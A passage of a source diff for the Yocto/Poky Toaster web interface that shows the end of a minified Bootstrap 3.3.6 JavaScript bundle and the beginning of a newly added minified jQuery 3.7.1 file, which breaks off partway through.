i=a.camelCase(["scroll",g].join("-"));this.$element.one("bsTransitionEnd",a.proxy(h,this)).emulateTransitionEnd(d.TRANSITION_DURATION)[g](this.$element[0][i])}}}},d.prototype.hide=function(){if(!this.transitioning&&this.$element.hasClass("in")){var b=a.Event("hide.bs.collapse");if(this.$element.trigger(b),!b.isDefaultPrevented()){var c=this.dimension();this.$element[c](this.$element[c]())[0].offsetHeight,this.$element.addClass("collapsing").removeClass("collapse in").attr("aria-expanded",!1),this.$trigger.addClass("collapsed").attr("aria-expanded",!1),this.transitioning=1;var e=function(){this.transitioning=0,this.$element.removeClass("collapsing").addClass("collapse").trigger("hidden.bs.collapse")};return a.support.transition?void this.$element[c](0).one("bsTransitionEnd",a.proxy(e,this)).emulateTransitionEnd(d.TRANSITION_DURATION):e.call(this)}}},d.prototype.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var e=a(d);this.addAriaAndCollapsedClass(b(e),e)},this)).end()},d.prototype.addAriaAndCollapsedClass=function(a,b){var c=a.hasClass("in");a.attr("aria-expanded",c),b.toggleClass("collapsed",!c).attr("aria-expanded",c)};var e=a.fn.collapse;a.fn.collapse=c,a.fn.collapse.Constructor=d,a.fn.collapse.noConflict=function(){return a.fn.collapse=e,this},a(document).on("click.bs.collapse.data-api",'[data-toggle="collapse"]',function(d){var e=a(this);e.attr("data-target")||d.preventDefault();var f=b(e),g=f.data("bs.collapse"),h=g?"toggle":e.data();c.call(f,h)})}(jQuery),+function(a){"use strict";function b(b){var c=b.attr("data-target");c||(c=b.attr("href"),c=c&&/#[A-Za-z]/.test(c)&&c.replace(/.*(?=#[^\s]*$)/,""));var d=c&&a(c);return d&&d.length?d:b.parent()}function c(c){c&&3===c.which||(a(e).remove(),a(f).each(function(){var d=a(this),e=b(d),f={relatedTarget:this};e.hasClass("open")&&(c&&"click"==c.type&&/input|textarea/i.test(c.target.tagName)&&a.contains(e[0],c.target)||(e.trigger(c=a.Event("hide.bs.dropdown",f)),c.isDefaultPrevented()||(d.attr("aria-expanded","false"),e.removeClass("open").trigger(a.Event("hidden.bs.dropdown",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=function(b){a(b).on("click.bs.dropdown",this.toggle)};g.VERSION="3.3.6",g.prototype.toggle=function(d){var e=a(this);if(!e.is(".disabled, :disabled")){var f=b(e),g=f.hasClass("open");if(c(),!g){"ontouchstart"in document.documentElement&&!f.closest(".navbar-nav").length&&a(document.createElement("div")).addClass("dropdown-backdrop").insertAfter(a(this)).on("click",c);var h={relatedTarget:this};if(f.trigger(d=a.Event("show.bs.dropdown",h)),d.isDefaultPrevented())return;e.trigger("focus").attr("aria-expanded","true"),f.toggleClass("open").trigger(a.Event("shown.bs.dropdown",h))}return!1}},g.prototype.keydown=function(c){if(/(38|40|27|32)/.test(c.which)&&!/input|textarea/i.test(c.target.tagName)){var d=a(this);if(c.preventDefault(),c.stopPropagation(),!d.is(".disabled, :disabled")){var e=b(d),g=e.hasClass("open");if(!g&&27!=c.which||g&&27==c.which)return 27==c.which&&e.find(f).trigger("focus"),d.trigger("click");var h=" li:not(.disabled):visible a",i=e.find(".dropdown-menu"+h);if(i.length){var j=i.index(c.target);38==c.which&&j>0&&j--,40==c.which&&j<i.length-1&&j++,~j||(j=0),i.eq(j).trigger("focus")}}}};var h=a.fn.dropdown;a.fn.dropdown=d,a.fn.dropdown.Constructor=g,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=h,this},a(document).on("click.bs.dropdown.data-api",c).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stopPropagation()}).on("click.bs.dropdown.data-api",f,g.prototype.toggle).on("keydown.bs.dropdown.data-api",f,g.prototype.keydown).on("keydown.bs.dropdown.data-api",".dropdown-menu",g.prototype.keydown)}(jQuery),+function(a){"use strict";function b(b,d){return this.each(function(){var e=a(this),f=e.data("bs.modal"),g=a.extend({},c.DEFAULTS,e.data(),"object"==typeof b&&b);f||e.data("bs.modal",f=new c(this,g)),"string"==typeof b?f[b](d):g.show&&f.show(d)})}var c=function(b,c){this.options=c,this.$body=a(document.body),this.$element=a(b),this.$dialog=this.$element.find(".modal-dialog"),this.$backdrop=null,this.isShown=null,this.originalBodyPad=null,this.scrollbarWidth=0,this.ignoreBackdropClick=!1,this.options.remote&&this.$element.find(".modal-content").load(this.options.remote,a.proxy(function(){this.$element.trigger("loaded.bs.modal")},this))};c.VERSION="3.3.6",c.TRANSITION_DURATION=300,c.BACKDROP_TRANSITION_DURATION=150,c.DEFAULTS={backdrop:!0,keyboard:!0,show:!0},c.prototype.toggle=function(a){return this.isShown?this.hide():this.show(a)},c.prototype.show=function(b){var d=this,e=a.Event("show.bs.modal",{relatedTarget:b});this.$element.trigger(e),this.isShown||e.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar(),this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss="modal"]',a.proxy(this.hide,this)),this.$dialog.on("mousedown.dismiss.bs.modal",function(){d.$element.one("mouseup.dismiss.bs.modal",function(b){a(b.target).is(d.$element)&&(d.ignoreBackdropClick=!0)})}),this.backdrop(function(){var e=a.support.transition&&d.$element.hasClass("fade");d.$element.parent().length||d.$element.appendTo(d.$body),d.$element.show().scrollTop(0),d.adjustDialog(),e&&d.$element[0].offsetWidth,d.$element.addClass("in"),d.enforceFocus();var f=a.Event("shown.bs.modal",{relatedTarget:b});e?d.$dialog.one("bsTransitionEnd",function(){d.$element.trigger("focus").trigger(f)}).emulateTransitionEnd(c.TRANSITION_DURATION):d.$element.trigger("focus").trigger(f)}))},c.prototype.hide=function(b){b&&b.preventDefault(),b=a.Event("hide.bs.modal"),this.$element.trigger(b),this.isShown&&!b.isDefaultPrevented()&&(this.isShown=!1,this.escape(),this.resize(),a(document).off("focusin.bs.modal"),this.$element.removeClass("in").off("click.dismiss.bs.modal").off("mouseup.dismiss.bs.modal"),this.$dialog.off("mousedown.dismiss.bs.modal"),a.support.transition&&this.$element.hasClass("fade")?this.$element.one("bsTransitionEnd",a.proxy(this.hideModal,this)).emulateTransitionEnd(c.TRANSITION_DURATION):this.hideModal())},c.prototype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){this.$element[0]===a.target||this.$element.has(a.target).length||this.$element.trigger("focus")},this))},c.prototype.escape=function(){this.isShown&&this.options.keyboard?this.$element.on("keydown.dismiss.bs.modal",a.proxy(function(a){27==a.which&&this.hide()},this)):this.isShown||this.$element.off("keydown.dismiss.bs.modal")},c.prototype.resize=function(){this.isShown?a(window).on("resize.bs.modal",a.proxy(this.handleUpdate,this)):a(window).off("resize.bs.modal")},c.prototype.hideModal=function(){var a=this;this.$element.hide(),this.backdrop(function(){a.$body.removeClass("modal-open"),a.resetAdjustments(),a.resetScrollbar(),a.$element.trigger("hidden.bs.modal")})},c.prototype.removeBackdrop=function(){this.$backdrop&&this.$backdrop.remove(),this.$backdrop=null},c.prototype.backdrop=function(b){var d=this,e=this.$element.hasClass("fade")?"fade":"";if(this.isShown&&this.options.backdrop){var f=a.support.transition&&e;if(this.$backdrop=a(document.createElement("div")).addClass("modal-backdrop "+e).appendTo(this.$body),this.$element.on("click.dismiss.bs.modal",a.proxy(function(a){return this.ignoreBackdropClick?void(this.ignoreBackdropClick=!1):void(a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():this.hide()))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;f?this.$backdrop.one("bsTransitionEnd",b).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):b()}else if(!this.isShown&&this.$backdrop){this.$backdrop.removeClass("in");var g=function(){d.removeBackdrop(),b&&b()};a.support.transition&&this.$element.hasClass("fade")?this.$backdrop.one("bsTransitionEnd",g).emulateTransitionEnd(c.BACKDROP_TRANSITION_DURATION):g()}else b&&b()},c.prototype.handleUpdate=function(){this.adjustDialog()},c.prototype.adjustDialog=function(){var a=this.$element[0].scrollHeight>document.documentElement.clientHeight;this.$element.css({paddingLeft:!this.bodyIsOverflowing&&a?this.scrollbarWidth:"",paddingRight:this.bodyIsOverflowing&&!a?this.scrollbarWidth:""})},c.prototype.resetAdjustments=function(){this.$element.css({paddingLeft:"",paddingRight:""})},c.prototype.checkScrollbar=function(){var a=window.innerWidth;if(!a){var b=document.documentElement.getBoundingClientRect();a=b.right-Math.abs(b.left)}this.bodyIsOverflowing=document.body.clientWidth<a,this.scrollbarWidth=this.measureScrollbar()},c.prototype.setScrollbar=function(){var a=parseInt(this.$body.css("padding-right")||0,10);this.originalBodyPad=document.body.style.paddingRight||"",this.bodyIsOverflowing&&this.$body.css("padding-right",a+this.scrollbarWidth)},c.prototype.resetScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad)},c.prototype.measureScrollbar=function(){var a=document.createElement("div");a.className="modal-scrollbar-measure",this.$body.append(a);var b=a.offsetWidth-a.clientWidth;return this.$body[0].removeChild(a),b};var d=a.fn.modal;a.fn.modal=b,a.fn.modal.Constructor=c,a.fn.modal.noConflict=function(){return a.fn.modal=d,this},a(document).on("click.bs.modal.data-api",'[data-toggle="modal"]',function(c){var d=a(this),e=d.attr("href"),f=a(d.attr("data-target")||e&&e.replace(/.*(?=#[^\s]+$)/,"")),g=f.data("bs.modal")?"toggle":a.extend({remote:!/#/.test(e)&&e},f.data(),d.data());d.is("a")&&c.preventDefault(),f.one("show.bs.modal",function(a){a.isDefaultPrevented()||f.one("hidden.bs.modal",function(){d.is(":visible")&&d.trigger("focus")})}),b.call(f,g,this)})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tooltip"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.tooltip",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.type=null,this.options=null,this.enabled=null,this.timeout=null,this.hoverState=null,this.$element=null,this.inState=null,this.init("tooltip",a,b)};c.VERSION="3.3.6",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div class="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover focus",title:"",delay:0,html:!1,container:!1,viewport:{selector:"body",padding:0}},c.prototype.init=function(b,c,d){if(this.enabled=!0,this.type=b,this.$element=a(c),this.options=this.getOptions(d),this.$viewport=this.options.viewport&&a(a.isFunction(this.options.viewport)?this.options.viewport.call(this,this.$element):this.options.viewport.selector||this.options.viewport),this.inState={click:!1,hover:!1,focus:!1},this.$element[0]instanceof document.constructor&&!this.options.selector)throw new Error("`selector` option must be specified when initializing "+this.type+" on the window.document object!");for(var e=this.options.trigger.split(" "),f=e.length;f--;){var g=e[f];if("click"==g)this.$element.on("click."+this.type,this.options.selector,a.proxy(this.toggle,this));else if("manual"!=g){var h="hover"==g?"mouseenter":"focusin",i="hover"==g?"mouseleave":"focusout";this.$element.on(h+"."+this.type,this.options.selector,a.proxy(this.enter,this)),this.$element.on(i+"."+this.type,this.options.selector,a.proxy(this.leave,this))}}this.options.selector?this._options=a.extend({},this.options,{trigger:"manual",selector:""}):this.fixTitle()},c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},this.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay}),b},c.prototype.getDelegateOptions=function(){var b={},c=this.getDefaults();return this._options&&a.each(this._options,function(a,d){c[a]!=d&&(b[a]=d)}),b},c.prototype.enter=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusin"==b.type?"focus":"hover"]=!0),c.tip().hasClass("in")||"in"==c.hoverState?void(c.hoverState="in"):(clearTimeout(c.timeout),c.hoverState="in",c.options.delay&&c.options.delay.show?void(c.timeout=setTimeout(function(){"in"==c.hoverState&&c.show()},c.options.delay.show)):c.show())},c.prototype.isInStateTrue=function(){for(var a in this.inState)if(this.inState[a])return!0;return!1},c.prototype.leave=function(b){var c=b instanceof this.constructor?b:a(b.currentTarget).data("bs."+this.type);return c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c)),b instanceof a.Event&&(c.inState["focusout"==b.type?"focus":"hover"]=!1),c.isInStateTrue()?void 0:(clearTimeout(c.timeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"==c.hoverState&&c.hide()},c.options.delay.hide)):c.hide())},c.prototype.show=function(){var b=a.Event("show.bs."+this.type);if(this.hasContent()&&this.enabled){this.$element.trigger(b);var d=a.contains(this.$element[0].ownerDocument.documentElement,this.$element[0]);if(b.isDefaultPrevented()||!d)return;var e=this,f=this.tip(),g=this.getUID(this.type);this.setContent(),f.attr("id",g),this.$element.attr("aria-describedby",g),this.options.animation&&f.addClass("fade");var h="function"==typeof this.options.placement?this.options.placement.call(this,f[0],this.$element[0]):this.options.placement,i=/\s?auto?\s?/i,j=i.test(h);j&&(h=h.replace(i,"")||"top"),f.detach().css({top:0,left:0,display:"block"}).addClass(h).data("bs."+this.type,this),this.options.container?f.appendTo(this.options.container):f.insertAfter(this.$element),this.$element.trigger("inserted.bs."+this.type);var k=this.getPosition(),l=f[0].offsetWidth,m=f[0].offsetHeight;if(j){var n=h,o=this.getPosition(this.$viewport);h="bottom"==h&&k.bottom+m>o.bottom?"top":"top"==h&&k.top-m<o.top?"bottom":"right"==h&&k.right+l>o.width?"left":"left"==h&&k.left-l<o.left?"right":h,f.removeClass(n).addClass(h)}var p=this.getCalculatedOffset(h,k,l,m);this.applyPlacement(p,h);var q=function(){var a=e.hoverState;e.$element.trigger("shown.bs."+e.type),e.hoverState=null,"out"==a&&e.leave(e)};a.support.transition&&this.$tip.hasClass("fade")?f.one("bsTransitionEnd",q).emulateTransitionEnd(c.TRANSITION_DURATION):q()}},c.prototype.applyPlacement=function(b,c){var d=this.tip(),e=d[0].offsetWidth,f=d[0].offsetHeight,g=parseInt(d.css("margin-top"),10),h=parseInt(d.css("margin-left"),10);isNaN(g)&&(g=0),isNaN(h)&&(h=0),b.top+=g,b.left+=h,a.offset.setOffset(d[0],a.extend({using:function(a){d.css({top:Math.round(a.top),left:Math.round(a.left)})}},b),0),d.addClass("in");var i=d[0].offsetWidth,j=d[0].offsetHeight;"top"==c&&j!=f&&(b.top=b.top+f-j);var k=this.getViewportAdjustedDelta(c,b,i,j);k.left?b.left+=k.left:b.top+=k.top;var l=/top|bottom/.test(c),m=l?2*k.left-e+i:2*k.top-f+j,n=l?"offsetWidth":"offsetHeight";d.offset(b),this.replaceArrow(m,d[0][n],l)},c.prototype.replaceArrow=function(a,b,c){this.arrow().css(c?"left":"top",50*(1-a/b)+"%").css(c?"top":"left","")},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle();a.find(".tooltip-inner")[this.options.html?"html":"text"](b),a.removeClass("fade in top bottom left right")},c.prototype.hide=function(b){function d(){"in"!=e.hoverState&&f.detach(),e.$element.removeAttr("aria-describedby").trigger("hidden.bs."+e.type),b&&b()}var e=this,f=a(this.$tip),g=a.Event("hide.bs."+this.type);return this.$element.trigger(g),g.isDefaultPrevented()?void 0:(f.removeClass("in"),a.support.transition&&f.hasClass("fade")?f.one("bsTransitionEnd",d).emulateTransitionEnd(c.TRANSITION_DURATION):d(),this.hoverState=null,this)},c.prototype.fixTitle=function(){var a=this.$element;(a.attr("title")||"string"!=typeof a.attr("data-original-title"))&&a.attr("data-original-title",a.attr("title")||"").attr("title","")},c.prototype.hasContent=function(){return this.getTitle()},c.prototype.getPosition=function(b){b=b||this.$element;var c=b[0],d="BODY"==c.tagName,e=c.getBoundingClientRect();null==e.width&&(e=a.extend({},e,{width:e.right-e.left,height:e.bottom-e.top}));var f=d?{top:0,left:0}:b.offset(),g={scroll:d?document.documentElement.scrollTop||document.body.scrollTop:b.scrollTop()},h=d?{width:a(window).width(),height:a(window).height()}:null;return a.extend({},e,g,h,f)},c.prototype.getCalculatedOffset=function(a,b,c,d){return"bottom"==a?{top:b.top+b.height,left:b.left+b.width/2-c/2}:"top"==a?{top:b.top-d,left:b.left+b.width/2-c/2}:"left"==a?{top:b.top+b.height/2-d/2,left:b.left-c}:{top:b.top+b.height/2-d/2,left:b.left+b.width}},c.prototype.getViewportAdjustedDelta=function(a,b,c,d){var e={top:0,left:0};if(!this.$viewport)return e;var f=this.options.viewport&&this.options.viewport.padding||0,g=this.getPosition(this.$viewport);if(/right|left/.test(a)){var h=b.top-f-g.scroll,i=b.top+f-g.scroll+d;h<g.top?e.top=g.top-h:i>g.top+g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;j<g.left?e.left=g.left-j:k>g.right&&(e.left=g.left+g.width-k)}return e},c.prototype.getTitle=function(){var a,b=this.$element,c=this.options;return a=b.attr("data-original-title")||("function"==typeof c.title?c.title.call(b[0]):c.title)},c.prototype.getUID=function(a){do a+=~~(1e6*Math.random());while(document.getElementById(a));return a},c.prototype.tip=function(){if(!this.$tip&&(this.$tip=a(this.options.template),1!=this.$tip.length))throw new Error(this.type+" `template` option must consist of exactly 1 top-level element!");return this.$tip},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".tooltip-arrow")},c.prototype.enable=function(){this.enabled=!0},c.prototype.disable=function(){this.enabled=!1},c.prototype.toggleEnabled=function(){this.enabled=!this.enabled},c.prototype.toggle=function(b){var c=this;b&&(c=a(b.currentTarget).data("bs."+this.type),c||(c=new this.constructor(b.currentTarget,this.getDelegateOptions()),a(b.currentTarget).data("bs."+this.type,c))),b?(c.inState.click=!c.inState.click,c.isInStateTrue()?c.enter(c):c.leave(c)):c.tip().hasClass("in")?c.leave(c):c.enter(c)},c.prototype.destroy=function(){var a=this;clearTimeout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.detach(),a.$tip=null,a.$arrow=null,a.$viewport=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Constructor=c,a.fn.tooltip.noConflict=function(){return a.fn.tooltip=d,this}}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.popover"),f="object"==typeof b&&b;!e&&/destroy|hide/.test(b)||(e||d.data("bs.popover",e=new c(this,f)),"string"==typeof b&&e[b]())})}var c=function(a,b){this.init("popover",a,b)};if(!a.fn.tooltip)throw new Error("Popover requires tooltip.js");c.VERSION="3.3.6",c.DEFAULTS=a.extend({},a.fn.tooltip.Constructor.DEFAULTS,{placement:"right",trigger:"click",content:"",template:'<div class="popover" role="tooltip"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>'}),c.prototype=a.extend({},a.fn.tooltip.Constructor.prototype),c.prototype.constructor=c,c.prototype.getDefaults=function(){return c.DEFAULTS},c.prototype.setContent=function(){var a=this.tip(),b=this.getTitle(),c=this.getContent();a.find(".popover-title")[this.options.html?"html":"text"](b),a.find(".popover-content").children().detach().end()[this.options.html?"string"==typeof c?"html":"append":"text"](c),a.removeClass("fade top bottom left right in"),a.find(".popover-title").html()||a.find(".popover-title").hide()},c.prototype.hasContent=function(){return this.getTitle()||this.getContent()},c.prototype.getContent=function(){var a=this.$element,b=this.options;return a.attr("data-content")||("function"==typeof b.content?b.content.call(a[0]):b.content)},c.prototype.arrow=function(){return this.$arrow=this.$arrow||this.tip().find(".arrow")};var d=a.fn.popover;a.fn.popover=b,a.fn.popover.Constructor=c,a.fn.popover.noConflict=function(){return a.fn.popover=d,this}}(jQuery),+function(a){"use strict";function b(c,d){this.$body=a(document.body),this.$scrollElement=a(a(c).is(document.body)?window:c),this.options=a.extend({},b.DEFAULTS,d),this.selector=(this.options.target||"")+" .nav li > a",this.offsets=[],this.targets=[],this.activeTarget=null,this.scrollHeight=0,this.$scrollElement.on("scroll.bs.scrollspy",a.proxy(this.process,this)),this.refresh(),this.process()}function c(c){return this.each(function(){var d=a(this),e=d.data("bs.scrollspy"),f="object"==typeof c&&c;e||d.data("bs.scrollspy",e=new b(this,f)),"string"==typeof c&&e[c]()})}b.VERSION="3.3.6",b.DEFAULTS={offset:10},b.prototype.getScrollHeight=function(){return this.$scrollElement[0].scrollHeight||Math.max(this.$body[0].scrollHeight,document.documentElement.scrollHeight)},b.prototype.refresh=function(){var b=this,c="offset",d=0;this.offsets=[],this.targets=[],this.scrollHeight=this.getScrollHeight(),a.isWindow(this.$scrollElement[0])||(c="position",d=this.$scrollElement.scrollTop()),this.$body.find(this.selector).map(function(){var b=a(this),e=b.data("target")||b.attr("href"),f=/^#./.test(e)&&a(e);return f&&f.length&&f.is(":visible")&&[[f[c]().top+d,e]]||null}).sort(function(a,b){return a[0]-b[0]}).each(function(){b.offsets.push(this[0]),b.targets.push(this[1])})},b.prototype.process=function(){var a,b=this.$scrollElement.scrollTop()+this.options.offset,c=this.getScrollHeight(),d=this.options.offset+c-this.$scrollElement.height(),e=this.offsets,f=this.targets,g=this.activeTarget;if(this.scrollHeight!=c&&this.refresh(),b>=d)return g!=(a=f[f.length-1])&&this.activate(a);if(g&&b<e[0])return this.activeTarget=null,this.clear();for(a=e.length;a--;)g!=f[a]&&b>=e[a]&&(void 0===e[a+1]||b<e[a+1])&&this.activate(f[a])},b.prototype.activate=function(b){this.activeTarget=b,this.clear();var c=this.selector+'[data-target="'+b+'"],'+this.selector+'[href="'+b+'"]',d=a(c).parents("li").addClass("active");d.parent(".dropdown-menu").length&&(d=d.closest("li.dropdown").addClass("active")),
-d.trigger("activate.bs.scrollspy")},b.prototype.clear=function(){a(this.selector).parentsUntil(this.options.target,".active").removeClass("active")};var d=a.fn.scrollspy;a.fn.scrollspy=c,a.fn.scrollspy.Constructor=b,a.fn.scrollspy.noConflict=function(){return a.fn.scrollspy=d,this},a(window).on("load.bs.scrollspy.data-api",function(){a('[data-spy="scroll"]').each(function(){var b=a(this);c.call(b,b.data())})})}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.tab");e||d.data("bs.tab",e=new c(this)),"string"==typeof b&&e[b]()})}var c=function(b){this.element=a(b)};c.VERSION="3.3.6",c.TRANSITION_DURATION=150,c.prototype.show=function(){var b=this.element,c=b.closest("ul:not(.dropdown-menu)"),d=b.data("target");if(d||(d=b.attr("href"),d=d&&d.replace(/.*(?=#[^\s]*$)/,"")),!b.parent("li").hasClass("active")){var e=c.find(".active:last a"),f=a.Event("hide.bs.tab",{relatedTarget:b[0]}),g=a.Event("show.bs.tab",{relatedTarget:e[0]});if(e.trigger(f),b.trigger(g),!g.isDefaultPrevented()&&!f.isDefaultPrevented()){var h=a(d);this.activate(b.closest("li"),c),this.activate(h,h.parent(),function(){e.trigger({type:"hidden.bs.tab",relatedTarget:b[0]}),b.trigger({type:"shown.bs.tab",relatedTarget:e[0]})})}}},c.prototype.activate=function(b,d,e){function f(){g.removeClass("active").find("> .dropdown-menu > .active").removeClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!1),b.addClass("active").find('[data-toggle="tab"]').attr("aria-expanded",!0),h?(b[0].offsetWidth,b.addClass("in")):b.removeClass("fade"),b.parent(".dropdown-menu").length&&b.closest("li.dropdown").addClass("active").end().find('[data-toggle="tab"]').attr("aria-expanded",!0),e&&e()}var g=d.find("> .active"),h=e&&a.support.transition&&(g.length&&g.hasClass("fade")||!!d.find("> .fade").length);g.length&&h?g.one("bsTransitionEnd",f).emulateTransitionEnd(c.TRANSITION_DURATION):f(),g.removeClass("in")};var d=a.fn.tab;a.fn.tab=b,a.fn.tab.Constructor=c,a.fn.tab.noConflict=function(){return a.fn.tab=d,this};var e=function(c){c.preventDefault(),b.call(a(this),"show")};a(document).on("click.bs.tab.data-api",'[data-toggle="tab"]',e).on("click.bs.tab.data-api",'[data-toggle="pill"]',e)}(jQuery),+function(a){"use strict";function b(b){return this.each(function(){var d=a(this),e=d.data("bs.affix"),f="object"==typeof b&&b;e||d.data("bs.affix",e=new c(this,f)),"string"==typeof b&&e[b]()})}var c=function(b,d){this.options=a.extend({},c.DEFAULTS,d),this.$target=a(this.options.target).on("scroll.bs.affix.data-api",a.proxy(this.checkPosition,this)).on("click.bs.affix.data-api",a.proxy(this.checkPositionWithEventLoop,this)),this.$element=a(b),this.affixed=null,this.unpin=null,this.pinnedOffset=null,this.checkPosition()};c.VERSION="3.3.6",c.RESET="affix affix-top affix-bottom",c.DEFAULTS={offset:0,target:window},c.prototype.getState=function(a,b,c,d){var e=this.$target.scrollTop(),f=this.$element.offset(),g=this.$target.height();if(null!=c&&"top"==this.affixed)return c>e?"top":!1;if("bottom"==this.affixed)return null!=c?e+this.unpin<=f.top?!1:"bottom":a-d>=e+g?!1:"bottom";var h=null==this.affixed,i=h?e:f.top,j=h?g:b;return null!=c&&c>=e?"top":null!=d&&i+j>=a-d?"bottom":!1},c.prototype.getPinnedOffset=function(){if(this.pinnedOffset)return this.pinnedOffset;this.$element.removeClass(c.RESET).addClass("affix");var a=this.$target.scrollTop(),b=this.$element.offset();return this.pinnedOffset=b.top-a},c.prototype.checkPositionWithEventLoop=function(){setTimeout(a.proxy(this.checkPosition,this),1)},c.prototype.checkPosition=function(){if(this.$element.is(":visible")){var b=this.$element.height(),d=this.options.offset,e=d.top,f=d.bottom,g=Math.max(a(document).height(),a(document.body).height());"object"!=typeof d&&(f=e=d),"function"==typeof e&&(e=d.top(this.$element)),"function"==typeof f&&(f=d.bottom(this.$element));var h=this.getState(g,b,e,f);if(this.affixed!=h){null!=this.unpin&&this.$element.css("top","");var i="affix"+(h?"-"+h:""),j=a.Event(i+".bs.affix");if(this.$element.trigger(j),j.isDefaultPrevented())return;this.affixed=h,this.unpin="bottom"==h?this.getPinnedOffset():null,this.$element.removeClass(c.RESET).addClass(i).trigger(i.replace("affix","affixed")+".bs.affix")}"bottom"==h&&this.$element.offset({top:g-b-f})}};var d=a.fn.affix;a.fn.affix=b,a.fn.affix.Constructor=c,a.fn.affix.noConflict=function(){return a.fn.affix=d,this},a(window).on("load",function(){a('[data-spy="affix"]').each(function(){var c=a(this),d=c.data();d.offset=d.offset||{},null!=d.offsetBottom&&(d.offset.bottom=d.offsetBottom),null!=d.offsetTop&&(d.offset.top=d.offsetTop),b.call(c,d)})})}(jQuery); \ No newline at end of file
diff --git a/poky/bitbake/lib/toaster/toastergui/static/js/jquery-3.7.1.min.js b/poky/bitbake/lib/toaster/toastergui/static/js/jquery-3.7.1.min.js
new file mode 100644
index 0000000000..7f37b5d991
--- /dev/null
+++ b/poky/bitbake/lib/toaster/toastergui/static/js/jquery-3.7.1.min.js
@@ -0,0 +1,2 @@
+/*! jQuery v3.7.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */
+!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(ie,e){"use strict";var oe=[],r=Object.getPrototypeOf,ae=oe.slice,g=oe.flat?function(e){return oe.flat.call(e)}:function(e){return oe.concat.apply([],e)},s=oe.push,se=oe.indexOf,n={},i=n.toString,ue=n.hasOwnProperty,o=ue.toString,a=o.call(Object),le={},v=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},y=function(e){return null!=e&&e===e.window},C=ie.document,u={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var r,i,o=(n=n||C).createElement("script");if(o.text=e,t)for(r in u)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?n[i.call(e)]||"object":typeof e}var t="3.7.1",l=/HTML$/i,ce=function(e,t){return new ce.fn.init(e,t)};function c(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!v(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&0<t&&t-1 in e)}function fe(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}ce.fn=ce.prototype={jquery:t,constructor:ce,length:0,toArray:function(){return ae.call(this)},get:function(e){return null==e?ae.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=ce.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return ce.each(this,e)},map:function(n){return this.pushStack(ce.map(this,function(e,t){return n.call(e,t,e)}))},slice:function(){return this.pushStack(ae.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},even:function(){return this.pushStack(ce.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(ce.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(0<=n&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:oe.sort,splice:oe.splice},ce.extend=ce.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||v(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in 